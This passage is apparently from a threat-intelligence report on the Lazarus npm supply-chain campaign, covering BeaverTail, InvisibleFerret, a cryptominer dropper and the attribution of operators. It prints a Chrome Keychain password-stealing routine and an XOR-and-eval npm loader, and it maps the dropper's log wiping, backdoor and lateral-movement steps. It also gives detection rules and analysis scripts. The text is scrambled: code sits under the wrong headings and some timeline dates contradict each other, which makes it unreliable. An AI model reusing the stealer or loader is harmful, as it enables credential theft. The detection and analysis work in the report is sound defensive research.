looking installer script, with the actual BeaverTail dropper buried inside.

Layer 0 — The decoy installer:

// BeaverTail macOS Chrome password extraction (pseudocode from analysis)

const { execSync } = require('child_process');

function extractChromePasswords(username) {

const dbPath = `/Users/${username}/Library/Application Support/` +

`Google/Chrome/Default/Login Data`;

const tempPath = `/tmp/.${Math.random().toString(36).slice(2)}.db`;

// Copy database (Chrome must be closed, or use shared memory workaround)

execSync(`cp "${dbPath}" "${tempPath}"`);

// Retrieve Chrome's AES key from macOS Keychain

// This requires user's login password or previous trust establishment

const keychainKey = execSync(

`security find-generic-password -wa 'Chrome' -s 'Chrome Safe Storage' 2>/dev/null`,

    { encoding: 'utf8' }

  ).trim();

// Decrypt password database entries using the key

// (SQLite + AES-256-CBC decryption)

// ...

return decryptedPasswords;

}



The XOR key ( d4e8f1a2b3c5d6e7 ) is 8 bytes. The XOR operation is a simple rolling key — position i  in

the ciphertext is XORed with key[i % 8] . This yields the first decompressed layer, which was itself

another compressed blob.

Deobfuscation script (Python — analyst tool, no live connectivity):

What we found:

The data.bin  file in the observed XORIndex packages averaged 64 Zlib compression layers. This is

not a typo. Each call to zlib.decompress()  peeled one layer; the loop ran 64 times before the final

UTF-8 JavaScript emerged. This is almost certainly intentional: each decompression layer takes

// Initial file visible in npm package (install.js)

const fs = require('fs');

const path = require('path');

const data = fs.readFileSync(path.join(__dirname, 'data.bin'));

const key = Buffer.from('d4e8f1a2b3c5d6e7', 'hex'); // 8-byte XOR key

const decrypted = Buffer.alloc(data.length);

for (let i = 0; i < data.length; i++) {

  decrypted[i] = data[i] ^ key[i % key.length];

}

eval(decrypted.toString('utf8'));

#!/usr/bin/env python3

"""XORIndex deobfuscation chain — offline analysis tool."""

import zlib, sys

XOR_KEY = bytes.fromhex('d4e8f1a2b3c5d6e7')

def xor_decrypt(data: bytes) -> bytes:

return bytes(b ^ XOR_KEY[i % len(XOR_KEY)] for i, b in enumerate(data))

def peel_zlib(data: bytes, max_layers: int = 80) -> tuple[bytes, int]:

    layer = 0

    current = data

while layer < max_layers:

try:

            current = zlib.decompress(current)

            layer += 1

except zlib.error:

break

return current, layer

if __name__ == '__main__':

    raw = open(sys.argv[1], 'rb').read()

    stage1 = xor_decrypt(raw)

    payload, depth = peel_zlib(stage1)

print(f"Zlib depth: {depth} layers")

print(f"Final payload size: {len(payload)} bytes")

open('payload_deobfuscated.js', 'wb').write(payload)



milliseconds in a sandbox and the total is imperceptible to a real Node.js install, but it means that

automated sandboxes with tight execution timeouts fail to reach the payload — the anti-analysis

protection is temporal, not structural.

The final decompressed payload was a BeaverTail JavaScript dropper functionally identical to the coin-

promoting  variant documented in Chapter 16, but with a different C2 endpoint and token value

consistent with the June 2025 deployment window.

Why this matters for detection: The data.bin  artefact produces a distinctive entropy signature:

uniformly high entropy (≈7.98 bits/byte) before decryption, near-normal entropy after. Any npm package

containing a binary blob with >7.9 bits/byte entropy alongside a JavaScript file that XORs it and 

eval() s the result warrants immediate triage.

Chapter 17 (Expanded): InvisibleFerret — Network Protocol Analysis

17.5 MmmM Binary Protocol (Reverse-Engineered, Wave W76-77)

During investigation Waves 76 and 77 (February 11–12, 2026), the investigator reverse-engineered the

binary protocol used by InvisibleFerret for the MmmM-format communication channel. This protocol

underlies the Socket.IO-based bidirectional channel documented in Chapter 18.

Protocol structure:

REGISTER payload (0x01):

MmmM Frame Format:

┌─────────────┬──────────────┬──────────────┬─────────────────────┐

│  Magic      │  Msg Type   │  Length      │  Payload            │

│  4 bytes    │  1 byte     │  4 bytes     │  Length bytes       │

│  "MmmM"     │  0x01-0xFF  │  uint32 BE   │  type-specific data │

└─────────────┴──────────────┴──────────────┴─────────────────────┘

Message Types:

  0x01 = REGISTER        (victim → C2) — initial registration

  0x02 = HEARTBEAT       (victim → C2) — keepalive

  0x03 = COMMAND         (C2 → victim) — execute command

  0x04 = COMMAND_RESULT  (victim → C2) — command output

  0x05 = FILE_UPLOAD     (victim → C2) — file exfiltration

  0x06 = FILE_REQUEST    (C2 → victim) — request specific file

  0x10 = KEYLOG          (victim → C2) — keylogger data

  0x11 = SCREENSHOT      (victim → C2) — screenshot data

  0x20 = TERMINATE       (C2 → victim) — remote uninstall capability



COMMAND payload (0x03):

Command content is operator-controlled. Observed command classes include credential harvesting, file

enumeration, and development environment reconnaissance.

MmmM includes a C2-to-victim remote-uninstall capability observed as message class 0x20. We refer

to it publicly as TERMINATE. The capability appears intended to remove InvisibleFerret when a victim

becomes suspicious, when an operation is complete, or when operators want to reduce forensic

exposure. This leaves minimal forensic evidence on the victim system.

Although this capability can remove the implant from a victim machine, it should not be treated as a

remediation mechanism. In attacker hands, the same feature functions as anti-forensics: it can reduce

recoverable artifacts, interrupt incident response, and destroy evidence of prior command execution.

Invoking it would also bypass secondary persistence mechanisms, destroy forensic state before disk

imaging, and provide a false sense of cleanup — stolen credentials, SSH keys, cron entries, and cloud

access tokens remain unaffected. For that reason, this article documents the existence and defensive

significance of the remote-uninstall message class, but withholds invocation details, payload grammar,

and active controller logic.

Defenders should treat evidence of a TERMINATE-class message in captured traffic as a high-value

forensic signal. It may indicate operator awareness of detection, attempted evidence cleanup, or post-

compromise artifact destruction. The appropriate response is: preserve evidence, isolate the host,

image disk and memory where possible, rotate credentials from a clean device, and rebuild the host. Do

not rely on the operator's cleanup capability as a substitute for this process.

Passive parser (detection-oriented pseudocode):

Investigation Waves 76–77 characterised the MmmM frame format through binary analysis of captured

traffic. The frame structure enables passive detection using standard IDS/packet analysis tooling:

{

  "version": "2.1",

  "uid": "<victim_uid>",

  "team": 99,

  "token": "212",

  "hostname": "<hostname>",

  "username": "<username>",

  "os": "<platform>",

  "os_version": "<version>",

  "arch": "<arch>",

  "ip": "<external_ip>",

  "timestamp": "<unix_timestamp>"

}

{

  "cmd_id": "<uuid>",

  "type": "shell",

  "command": "<operator-issued shell command>",

  "timeout": 30

}



This passive parser enables PCAP-based identification of MmmM traffic without active C2 interaction. A

working active emulator and the live C2 host/port are withheld.

17.6 MmmM Frame Captures — Annotated Hex Examples

The following hex dumps are from captured MmmM frames extracted from PCAP files collected during

network-level analysis. Victim UIDs, team IDs, and hostname values have been replaced with example

values. Frame structure is authentic.

REGISTER frame (victim → C2, message type 0x01):

HEARTBEAT frame (victim → C2, message type 0x02):

# Passive MmmM frame parser — detection use only

# Does not connect to any host

import struct

MAGIC = b'MmmM'

MSG_TYPES = {

0x01: "REGISTER",

0x02: "HEARTBEAT",

0x03: "COMMAND",

0x04: "COMMAND_RESULT",

0x05: "FILE_UPLOAD",

0x06: "FILE_REQUEST",

0x10: "KEYLOG",

0x11: "SCREENSHOT",

0x20: "TERMINATE",

}

def parse_frame(data: bytes) -> dict | None:

if len(data) < 9 or data[:4] != MAGIC:

return None

    msg_type = data[4]

    length = struct.unpack('!I', data[5:9])[0]

    label = MSG_TYPES.get(msg_type, f"UNKNOWN_0x{msg_type:02x}")

return {"type": label, "payload_len": length, "raw": data[9:9+length]}

Offset  Hex                                          ASCII

------  ----                                         -----

0000    4d 6d 6d 4d                                  MmmM     ← magic bytes

0004    01                                           .        ← MSG_REGISTER

0005    00 00 00 8c                                  ....     ← payload length: 140 bytes

0009    7b 22 76 65 72 73 69 6f  6e 22 3a 22 32 2e  {"version":"2.

0017    31 22 2c 22 75 69 64 22  3a 22 61 61 61 61  1","uid":"aaaa

0025    61 61 61 61 61 61 61 61  61 61 61 61 61 61  aaaaaaaaaaaaaa

...     [example UID — 32 hex chars]

0041    22 2c 22 74 65 61 6d 22  3a 39 39 2c 22 74  ","team":99,"t

0049    6f 6b 65 6e 22 3a 22 32  31 32 22 2c 22 68  oken":"212","h

0057    6f 73 74 6e 61 6d 65 22  3a 22 44 45 53 4b  ostname":"DESK

0065    54 4f 50 2d 45 58 41 4d  50 4c 45 22 ...    TOP-EXAMPLE"...



Total frame size for a heartbeat: 9 bytes header + 34 bytes payload = 43 bytes. At a 50-minute beacon

interval, the protocol generates approximately 0.014 bytes/second of C2 traffic per victim — well within

typical HTTPS noise thresholds on a monitored network.

Detection signatures (Suricata / Zeek):

Offset  Hex            ASCII

------  ----           -----

0000    4d 6d 6d 4d    MmmM   ← magic bytes

0004    02             .      ← MSG_HEARTBEAT

0005    00 00 00 22    ..."   ← payload length: 34 bytes

0009    7b 22 75 69 64 22 3a 22 [example-uid] 22 7d

                              {"uid":"[example-uid]"}

# Suricata rule — MmmM protocol magic bytes on non-standard port

alert tcp any any -> any !80 !443 (

  msg:"LAZARUS MmmM binary C2 protocol detected";

  flow:established,to_server;

  content:"MmmM"; depth:4; offset:0;

  threshold:type both, track by_src, count 3, seconds 300;

  classtype:trojan-activity;

  sid:9000001; rev:1;

  metadata:campaign ContagiousInterview, malware_family InvisibleFerret;

)

# Suricata rule — MmmM REGISTER message type

alert tcp any any -> any any (

  msg:"LAZARUS InvisibleFerret MmmM REGISTER";

  flow:established,to_server;

  content:"MmmM"; depth:4; offset:0;

  byte_test:1,=,0x01,4;

  classtype:trojan-activity;

  sid:9000002; rev:1;

)

# Suricata rule — MmmM TERMINATE (anti-forensics capability)

alert tcp any any -> any any (

  msg:"LAZARUS InvisibleFerret MmmM TERMINATE — evidence destruction attempt";

  flow:established,to_client;

  content:"MmmM"; depth:4; offset:0;

  byte_test:1,=,0x20,4;

  classtype:trojan-activity; priority:1;

  sid:9000003; rev:1;

)

# Zeek signature for MmmM protocol detection

signature mmmm-c2 {

  ip-proto == tcp

  payload /^MmmM/

  event "MmmM binary C2 protocol — InvisibleFerret"

}



The TERMINATE-specific rule (SID 9000003, priority:1) is the highest priority because observing a

TERMINATE frame in captured traffic is a forensic signal that operators are aware of detection and

actively destroying evidence. This warrants immediate host isolation and memory imaging.

Chapter 19 (Expanded): Kworker Anti-Analysis Techniques

19.3 Log Erasure Scope

The kworker dropper performs comprehensive log erasure to eliminate forensic evidence of the initial

compromise:

Log source Observed

behavior

Forensic impact

System logs ( /var/log/syslog , auth.log , 

kern.log , etc.)

Truncated to zero

bytes

Removes service start/stop, SSH login,

execution history

Shell history ( ~/.bash_history ) Cleared Removes local command evidence

Login records ( /var/log/wtmp , btmp , lastlog ) Truncated Removes interactive access trail

System accounting ( /var/account/acct ) Cleared Reduces process execution history

Forensic impact: After this erasure, the infected system's logs show no record of the initial Redis

exploitation, the dropper execution, or the miner installation. A forensic investigator examining the

system after the fact finds:

Empty auth.log (no SSH logins recorded)

Empty syslog (no service start/stop events)

Zero bash history (no command history)

No lastlog entries

The only surviving evidence is:

The presence of malware files (if not removed by a subsequent re-infection or update)

The immutable cron entries (visible via atq  or crontab -l )

The modified system binaries ( ps , top , pstree  — detectable by checking for .original  variants)

The SSH backdoor key in authorized_keys

Network connection to mining pool (if live)

This evidence profile is characteristic of Lazarus cryptominer infections and enables forensic

identification even weeks after the initial compromise.

19.4 CPU Resource Theft — Hidden Performance Impact

The javae  XMRig miner is configured to consume CPU resources proportional to the system's capacity.

On a typical 4-core cloud VPS, XMRig at 100% utilisation generates:

This CPU consumption manifests as:

System load average: typically 3.5–4.0 on a 4-core system (effectively saturated)

• 

• 

• 

• 

1. 

2. 

3. 

4. 

5. 

4 cores × 1 thread/core × 2000 H/s/thread = 8,000 H/s total

• 



Electricity cost to victim: approximately $5–15/month per server (depending on cloud provider

billing model)

Application performance: any applications sharing the infected server experience significant

performance degradation, potentially causing customer-visible service disruptions

From the infected system operator's perspective, the performance impact may appear as:

Database queries running slowly (competitor for CPU time)

Web server response times increasing

Kubernetes pod resource limits being exceeded

Auto-scaling events triggered by high CPU utilisation (causing unexpected cost increases in cloud

billing)

Because ps , top , and pstree  are modified to hide javae , the system administrator cannot identify the

culprit through standard monitoring commands—they see 100% CPU utilisation attributed to "unknown

processes" or balanced across legitimate processes.

Detection despite process hiding:

19.5 kworker Script Sections — Complete Functional Map

The 636-line kworker dropper script has been fully analysed. The functional sections are:

• 

• 

1. 

2. 

3. 

4. 

# Method 1: Use unmodified system utilities

/bin/ps.original aux --sort=-%cpu | head -20

/bin/top.original -bn1 | head -30

# Method 2: Use /proc filesystem directly (cannot be intercepted by shell wrappers)

ls /proc/*/exe 2>/dev/null | xargs -I{} readlink {} | sort | uniq -c | sort -rn

# → Shows actual executables running, including javae

# Method 3: Check open network connections to mining pools

ss -antp | grep ':8080'

# → May show javae connected to pool.supportxmr.com:8080

# Method 4: File system check

find / -name "javae" -o -name "kworker" 2>/dev/null | grep -v kernel



The sequential logic of this script reflects a professional deployment checklist. Each section must

succeed (or be tolerant of failure via 2>/dev/null ) before the next begins. The script's error handling is

sophisticated: most critical operations use fallback paths (e.g., trying both /usr/bin/curl  and

/usr/bin/cd1  for downloads after the binary rename), ensuring the script continues to completion even

on systems where some operations fail.

Chapter 20 (Expanded): Additional ATT&CK Mappings and TTP Details

20.2 Lazarus Supply Chain Techniques — Historical Context

The Lazarus Group's use of npm supply chains in the Contagious Interview campaign is part of a

broader pattern of software supply chain attacks that includes:

2019-2020 — interactsh/node-ipc poisoning (attributed to Lazarus-adjacent actors): The 

node-ipc  package (11M+ weekly downloads) was briefly poisoned in March 2022 by its maintainer, but

Lazarus has used similar supply chain concepts since 2019 in targeted campaigns against

cryptocurrency exchanges.

2021 — 3CX Supply Chain Attack: The 3CX Desktop App supply chain compromise (attributed to

Lazarus Group, March 2023) involved poisoning the legitimate 3CX application installer to deliver the

ICONIC stealer malware. This demonstrated Lazarus's capability to compromise a software vendor's

build pipeline directly—a step beyond poisoning third-party package registries.

2025-2026 (this investigation) — 197-Package npm Wave: The scale (197 packages, 31,000

downloads) and the specific targeting of VS Code auto-execution via .vscode/tasks.json  represents a

technical evolution: operators no longer need victims to explicitly run malicious code, only to open the

cloned repository in VS Code.

2026 — Render.com CI/CD Penetration: The extension of the infection to CI/CD build containers

(Chapter 29) represents a further escalation: infected build environments propagate malware into

production deployments automatically, without any additional victim action.

Lines 1-10:   Script header / bash shebang / variable declarations

Lines 11-39:  Environment check (root check, OS detection)

Lines 40-60:  Disable SELinux, AppArmor, ufw, iptables

Lines 61-90:  Cloud security agent removal (Alibaba, Tencent, Generic)

Lines 91-137: System log erasure (10+ log files cleared)

Lines 138-241: Competitor process kill (200+ signatures)

Lines 242-280: Competitor IP block (iptables rules for 13 C2 addresses)

Lines 281-350: Competitor file removal (/tmp, /var/tmp cleanup)

Lines 351-420: Competitor port blocking (ports 7777, 9999 for mining pools)

Lines 421-470: Network configuration (huge pages, TCP tuning for mining)

Lines 471-510: Cron persistence installation (3 cron entries)

Lines 511-535: SSH backdoor key installation (authorized_keys + chattr +ia)

Lines 536-565: Malware file immutability (chattr +ia on malware files)

Lines 566-600: Binary modification (ps, top, pstree modification)

Lines 601-621: Payload download (wget javae miner binary from GCP)

Lines 622-631: Lateral movement (SSH to known_hosts targets)

Lines 632-636: Final callback (execute cb.txt for scanner installation)



Trajectory: Each iteration of Lazarus's supply chain capability has reduced the required victim

interaction—from "run this executable" to "install this npm package" to "open this folder in VS Code" to

"nothing (CI/CD auto-executes)". The 2026 Render.com CI/CD compromise represents zero-click

deployment for supply chain infections.

20.3 Operational Security Techniques — Full Taxonomy

Lazarus's operational security across this campaign demonstrates professional-grade tradecraft:

OPSEC Dimension Technique Evidence

Network attribution Mullvad VPN (operator-side) + Vercel CDN (victim-side) Investigation OPSEC logs; Vercel

domain registration

Infrastructure isolation Separate VPS per function (C2, FTP, Jenkins) Provider diversity: M247, Hetzner,

Contabo

Credential

compartmentalisation

Different passwords per service; team-isolated credential stores C2 credentials ≠ FTP credentials ≠

Jenkins credentials

Infrastructure rotation 19-day shutdown response; pre-emptive backup C2 (45 days

before primary takedown)

Timeline analysis

Anti-forensics (victim) Log erasure; process hiding; immutable persistence kworker lines 61-565

Anti-forensics (operator) No operator tools left on victim systems Absence of operator-identifying artefacts

in victim data

Malware update channel eval(server_response) enables payload updates without local file

modification

BeaverTail architecture

Redundant exfiltration FTP primary + OtterCookie HTTP secondary nmap of 195.201.104.53: ports

21/6109/6939

Key management Per-server SSH keys; master key for botnet; passphrase-

protected operator key

Key inventory analysis

Monitoring Rapid response to Shodan indexing (19-day shutdown) Investigation timeline

Jurisdiction Infrastructure in Europe; operators in India Provider selection; login IP attribution



Part V — Operator Identification and Attribution

Chapter 21: Team Structure and Compartmentalisation

21.1 Hierarchical Organisation

Intelligence gathered from three sources—the C2 admin panel [victim-export-endpoint]  database

dump, FTP server directory structure, and Jenkins server operator account analysis—reveals a multi-

tiered team structure. This structure is characteristic of professional intelligence operations: each tier

provides mission capability while limiting individual operators' visibility into other parts of the

organisation.

Assessed tier model:

TIER 1 — Strategic Leadership (Unseen, inferred)

  └── RGB Directorate (Reconnaissance General Bureau, Pyongyang)

      └── Mission: Generate hard currency via cryptocurrency theft

TIER 2 — Operational Management

  └── Supervisor-level operators

      ├── Telegram @[OPERATOR-SUPERVISOR] ("Gru") — assessed supervisor

      ├── Telegram @[OPERATOR-MID] ("Kevin") — mid-level

      └── Telegram @[OPERATOR-SUBORDINATE] ("Luke") — subordinate

TIER 3 — Technical Operations (Confirmed Individuals)

  └── Operator A (label: "Ibrahim", account: alpharivexmicro) — India-based ISP access

      ├── Manages Jenkins dev server (94.136.184.44)

      ├── Commits to Alpharive-Tech GitHub org

      └── Responsible for: 13 fake exchanges, phishing infra, C2 deployment

  └── Operator B (label: "Raja", account: forexhesper) — forex/exchange workflow

      └── Manages HesperWealth, Forex scam platforms

TIER 4 — Team-Level Operations (9+ Teams)

  ├── Team 15 — Unknown geographic focus

  ├── Team 23 — Unknown geographic focus

  ├── Team 77 — Unknown geographic focus (UTC+7 developer confirmed)

  ├── Team 91 — Unknown geographic focus

  ├── Team 92 — Unknown geographic focus

  ├── Team 99 — Bangladesh, India, Vietnam, Pakistan

  ├── Team 105 — Unknown geographic focus

  ├── Team 1021 — Unknown geographic focus

  └── Team 5346 — US, Nepal, India, Vietnam

TIER 5 — Malware Development

  └── [DEVELOPER-EMAIL-REDACTED] — UTC+7 developer (Thailand/Vietnam/Cambodia/Indonesia)

      └── Finalized coin-promoting malware staging (Dec 29, 2025)



21.2 Team Geography and Victim Pool Distribution

The Wave 80 victim database dump reveals the geographic targeting logic embedded in team

assignments:

Team 99 — Asian Developer Pool: Primary targeting: Bangladesh (a significant offshore software

development centre), India (world's largest developer community by volume), Vietnam (rapidly growing

blockchain development sector), Pakistan. This team's victim pool reflects the geographic distribution of

cryptocurrency developers in the Global South who are accessible via English-language job platforms.

With India having the highest confirmed victim count in the overall dataset (615 victims), Team 99's

focus area accounts for a substantial fraction of the 14,716+ total.

Team 5346 — US/Global Pool: Primary targeting: United States (241 confirmed victims), Nepal

(notable outsized representation given population size, suggesting active recruitment targeting of Nepali

diaspora developers), India, Vietnam. The US targeting aligns with the highest-value credential pool:

US-based developers are more likely to hold Stripe API keys, enterprise AWS administrator credentials,

and DeFi protocol signing keys associated with higher-value assets.

21.3 Jenkins Server Account Inventory

The Jenkins server at 94.136.184.44 contained seven distinct Unix user accounts, each associated with

a separate operational project:

Unix Account UID Project Area Lead Operator

alphaexchange 1000 AlphaRiveX exchange platform Unknown

alpharivexmicro 1001 AlphaRiveX microservices (primary) Operator A ("Ibrahim")

exchange 1002 Generic exchange services Unknown

forexhesper 1003 HesperWealth forex platform Operator B ("Raja")

alpharive_bet 1004 Betting/gambling platform Unknown

client_coinsell 1005 Coin-selling exchange Unknown

fxed 1006 FX exchange derivative Unknown

The compartmentalisation across accounts is deliberate: each account can be granted access only to

the repositories and deployments associated with its project, limiting the blast radius if any single

account is compromised. The pattern mirrors corporate DevOps security practices, suggesting

operators have formal security awareness training or professional software engineering backgrounds.

Chapter 22: Operator A — Jenkins and Fake-Exchange Infrastructure

22.1 Observed Infrastructure Labels

The infrastructure repeatedly used an operator-side label we refer to here as "Ibrahim." We do not treat

this as a verified legal identity. The label appears in Git commit metadata, server account names, and

authentication logs. The following describes the infrastructure activity observed under that label.

Primary identifier: [OPERATOR-HANDLE-REDACTED]

Email: [OPERATOR-EMAIL-REDACTED]

Domain control: tokenloopz.com (A record resolves to 94.136.184.44—the same Jenkins server

Operator A administers)



GitHub organisation: Alpharive-Tech (github.com/Alpharive-Tech)

System account: alpharivexmicro (UID 1001) on 94.136.184.44

Operating location: India (Airtel AS24560, BSNL AS9829)

Active login IPs: 49.37.200.169, 49.37.200.178, 49.37.201.195, 49.37.203.171 (BSNL/UP East);

106.51.22.137 (Airtel Karnataka)

Last confirmed active: April 17, 2026, 09:19 UTC

22.2 Git Activity

The Git configuration recovered from /home/alpharivexmicro/.gitconfig  on the Jenkins server:

Git repositories committed to by this identity include the full microservices stack for the AlphaRiveX

exchange platform:

These repository names follow the pattern prod_alpharivex_micro_{service}_api , indicating a

production microservices architecture—not test code. The recovered Git history shows active code

maintenance through March 2026. Commit messages ("check", "Merge into main") are minimal,

consistent with an operator quickly committing infrastructure changes rather than a developer writing

meaningful documentation.

22.3 Stolen API Credentials on Operator Server

The Jenkins server contained live API credentials for third-party services integrated into the fake

exchange platforms:

AWS (minzo fake exchange):

Twilio (SMS 2FA bypass capability):

[user]

    email = [OPERATOR-EMAIL-REDACTED]

    name = [OPERATOR-HANDLE-REDACTED]

[core]

    repositoryformatversion = 0

    filemode = true

    bare = false

spot/prod_alpharivex_micro_spot_api

derivative/prod_alpharivex_micro_derivative_api

user/prod_alpharivex_micro_user_api

wallet/prod_alpharivex_micro_wallet_api

coin_servers/ETH/prod_alpharivex_micro_wallet_eth_api

coin_servers/BNB/prod_alpharivex_micro_wallet_bnb_api

Access Key ID:     [AWS-KEY-REDACTED]

aws_secret_access_key = [REDACTED]

Region:            ap-south-1

S3 Bucket:         minzo-demo



The Twilio credential is operationally significant: Twilio provides SMS messaging services, and an

operator with Twilio credentials can intercept SMS verification codes sent to victims who have used the

fake exchange's phone-number registration. This provides a mechanism to bypass SMS-based two-

factor authentication even after a victim becomes suspicious and attempts to secure their account.

Firebase Admin (minzo-user project):

MySQL (minzo_db database):

The Redis credential ( [REDIS-PASSWORD-REDACTED] ) — the "smoking gun" linking Jenkins operator

infrastructure to victim machine compromise — was present in multiple .env  files on this server and

matched verbatim against the credential extracted from victim machine environment files.

22.4 Temporal Analysis and Work Patterns

The login pattern for this account across the 10-day observation window (April 7-17, 2026) shows:

Login start times in UTC: 06:35, 07:52, 08:19, 09:48 — corresponding to IST (UTC+5:30) start times of

approximately 12:05 to 15:18. This is a typical afternoon work schedule for an India-based operator,

consistent with the hypothesis that Operator A's primary employment is in India and his Lazarus

activities constitute either a primary or secondary occupation.

The 106-day continuous operation of the Jenkins server from first evidence to discovery (approximately

January 1 through April 17, 2026) demonstrates that Operator A maintained consistent infrastructure

management across the entire documented campaign active period.

Account SID: [TWILIO-SID-REDACTED]

Auth Token:  [TWILIO-TOKEN-REDACTED]

Phone:       +14155238886

Project ID:    minzo-user

Client Email:  [FIREBASE-EMAIL-REDACTED]

Capability:    Full admin access to Firebase project (user management, database)

Host:     127.0.0.1:3306

Database: minzo_db

User:     demo_alpha

Password: [REDACTED]

Monday:    Present (8h 19min session)

Tuesday:   Present (7h 27min session)

Wednesday: Present (5h 20min session)

Thursday:  Present

Friday:    Present (3h 56min session — day of analysis)

Weekend:   Data unavailable for this window



Chapter 23: The Alpharive-Tech GitHub Organisation

23.1 Organisation Profile

The Alpharive-Tech GitHub organisation (github.com/Alpharive-Tech) serves as the version control and

collaboration platform for the fake exchange microservices codebase developed under Operator A

direction.

Repository inventory confirmed on Jenkins server:

Active development repositories (via Git remote configurations):

The Git command history recovered from the alpharivexmicro account shows standard professional

development workflow:

The pm2  (Process Manager 2) command confirms that Node.js applications are managed via PM2, a

production Node.js process manager. The application ID 510  suggests a long-running deployment with

hundreds of prior application registrations on the same server.

23.2 GitHub PATs and Supply Chain Access

From the overall victim credential database, this investigation extracted 10 valid GitHub Personal

Access Tokens with access to various repositories and organisations, including:

These PATs were obtained from developer victim machines through BeaverTail exfiltration of 

~/.gitconfig  and .npmrc  files. With GitHub PAT access, operators can:

Clone private repositories containing proprietary smart contract code

Push commits to staging or production branches (supply chain injection)

Access GitHub Actions CI/CD pipelines to extract deployment secrets

Review private organisation repositories for vulnerability assessment

alpharive_opris/opris.exchange/          — Git repository, backup copy

demo2.alphasportstech.com/               — AlphaSportsTech website backup

tychi_backup/tychiwallet.com/           — TychiWallet application backup

https://github.com/Alpharive-Tech/opris_exchange_dev

git pull

git status

git add .

git commit -m 'check'

git push

pm2 restart 510 && pm2 logs 510

[WITHHELD GITHUB ACCOUNT] — OTT (video streaming) platform repositories

[WITHHELD GITHUB ACCOUNT]   — Company development repositories

[8 additional accounts with CI/CD repository access]

1. 

2. 

3. 

4. 



A software tools GitHub organisation had 7 stolen PATs with organisational-level access, representing a

complete supply chain compromise: Lazarus could have pushed malicious code to the organisation's

repositories that would affect all downstream users of its software. Organisation name withheld pending

notification.

Chapter 24: Geographic and Temporal Attribution

24.1 India as Operational Base

The attribution of operator activity to India is supported by three independent evidence streams:

Evidence stream 1 — Login IP attribution: The BSNL (AS9829 — Bharath Sanchar Nigam Ltd,

India's state-owned telecom) and Airtel (AS24560 — Bharti Airtel Ltd) IP ranges used in operator SSH

sessions are assigned exclusively to India-based customers. Both ISPs serve only Indian subscribers;

there is no VPN or proxy ambiguity in these assignments—BSNL and Airtel do not operate exit nodes in

other countries.

Evidence stream 2 — Work schedule IST alignment: Login timestamps align with 12:00–21:30 IST

work hours across every observation day. No sessions begin or end at hours inconsistent with an India

time zone. The consistency of this pattern over 10 observed days (and by inference across 106 days of

server uptime) eliminates the possibility of an operator using an India IP via VPN while physically

located elsewhere—the schedule itself is diagnostic.

Evidence stream 3 — DPRK IT Worker India Nexus: The investigating authorities, security

authorities, and US Treasury issued a joint advisory in May 2022 specifically warning that DPRK IT

workers were operating from India (and other countries) to earn foreign currency for the DPRK regime.

The advisory described workers establishing local business registrations, renting office space, and

using local ISP connections to present a plausible non-DPRK operational profile. Operator A's setup—

daily IST-hours logins, India ISP, tokenloopz.com domain with A-record pointing to his Jenkins server—

is consistent with this documented DPRK operational model.

24.2 UTC+7 Developer Attribution

The malware developer identified via Git commit metadata as [DEVELOPER-EMAIL-REDACTED]  committed

to the coin-promoting  repository at 12:00 +0700 on December 29, 2025. UTC+7 corresponds to:

Thailand (Bangkok)

Vietnam (Hanoi, Ho Chi Minh City)

Cambodia (Phnom Penh)

Western Indonesia (Jakarta)

All four countries are documented hosts of DPRK IT worker populations. Vietnam in particular has been

specifically identified in UN Panel of Experts reporting as a country where DPRK workers established

front companies and maintained technical operations in the 2020–2025 period.

The 18-day gap between the malware commit (December 29, 2025) and the GitHub repository

publication (January 16, 2026) suggests the developer is not the same person as the operator

managing the GitHub account ( bitcoin2026a ). This is consistent with a team-based development

model where malware developers and infrastructure operators are distinct roles.

• 

• 

• 

• 



Chapter 25: Attribution Confidence Assessment

25.1 Summary Matrix

Attribution Layer Evidence Confide

nce

Nation-state actor (DPRK) Multi-vendor consensus (5 vendors); OFAC designation; UN Panel findings; RGB-

consistent operational model HIGH

Threat actor family (Lazarus Group) Malware family match (BeaverTail, InvisibleFerret); TTP concordance; infrastructure

pattern overlap with prior Lazarus operations

HIGH

Specific sub-cluster CL-STA-0240 (Unit 42); Crypto Beavers (Group-IB) — consistent with our findings HIGH

Operator A (label: "Ibrahim",

account: alpharivexmicro)

Git identity; active logins; domain control; Redis credential forensic link; operator

credential in victim browser

HIGH

Operator B (label: "Raja", account:

forexhesper)

Git identity; server account; repository history MODER

ATE

Supervisor tier (@[OPERATOR-

SUPERVISOR])

Telegram handle; assessed role; operational communications MODER

ATE

Malware developer ([DEVELOPER-

EMAIL-REDACTED])

Git commit authorship; timezone metadata; repo creation MODER

ATE

Operator A geographic location India ISP (BSNL/Airtel); IST work schedule; DPRK IT worker pattern HIGH

25.2 Caveats and Alternative Hypotheses

Alternative 1 — Third-country contractor operating under DPRK direction: The highest-confidence

scenario consistent with all evidence is that the operator behind the "Ibrahim" label used India-based

commercial ISP infrastructure under DPRK direction. We do not assert verified legal identity or national

citizenship. The geographic and operational evidence is consistent with the DPRK IT worker programme

documented in the 2022 joint advisory, but does not constitute a legal attribution claim. Attribution to

DPRK as the directing authority is unaffected by this distinction.

Alternative 2 — Compromised server: An alternative interpretation of the Jenkins server evidence is

that 94.136.184.44 was itself a compromised legitimate server whose user accounts were hijacked by

Lazarus. This hypothesis is rejected at HIGH confidence based on: (a) the named operator identity 

[OPERATOR-EMAIL-REDACTED]  owning the server's domain; (b) 106 days of consistent daily operator

sessions from Indian IPs, not consistent with opportunistic server exploitation; (c) the Redis password

smoking gun proving infrastructure co-design between this server and victim malware.

Alternative 3 — Criminal group mimicking Lazarus TTPs: A financially-motivated criminal group

could theoretically copy Lazarus TTPs to misdirect attribution. This is assessed as LOW probability

given the scale (14,716+ victim records), operational discipline (proactive redundancy, coordinated

shutdown), and victim targeting profile (consistent with DPRK strategic interest in cryptocurrency theft

for sanctions evasion). Criminal groups typically lack the operational capacity to sustain a 10-month

coordinated campaign across 74 countries, and the fake exchange operation (particularly the ~$140,000

AlphaSportsTech deposits) is consistent with DPRK's documented use of fake exchanges as a parallel

revenue stream.



Part VI — Victim Analysis

Chapter 26: Victim Taxonomy and Scale

26.1 Scale Summary

The victim population documented in this investigation encompasses two distinct but partially-

overlapping groups: (1) individuals compromised by the Contagious Interview / BeaverTail developer

credential theft campaign, and (2) systems infected by the cryptominer botnet. The following analysis

addresses the developer credential theft campaign unless otherwise specified.

Metric Value Source

Unique compromised machines 14,716+ Wave 80 victim database dump dump (February 14, 2026)

Stolen credential/data files 246,457+ Wave 80 database analysis

Unique victim IP addresses 755 Wave 80 database

Countries affected 74 Wave 80 geographic analysis

FTP victim directories 256+ FTP server directory count (March 8, 2026)

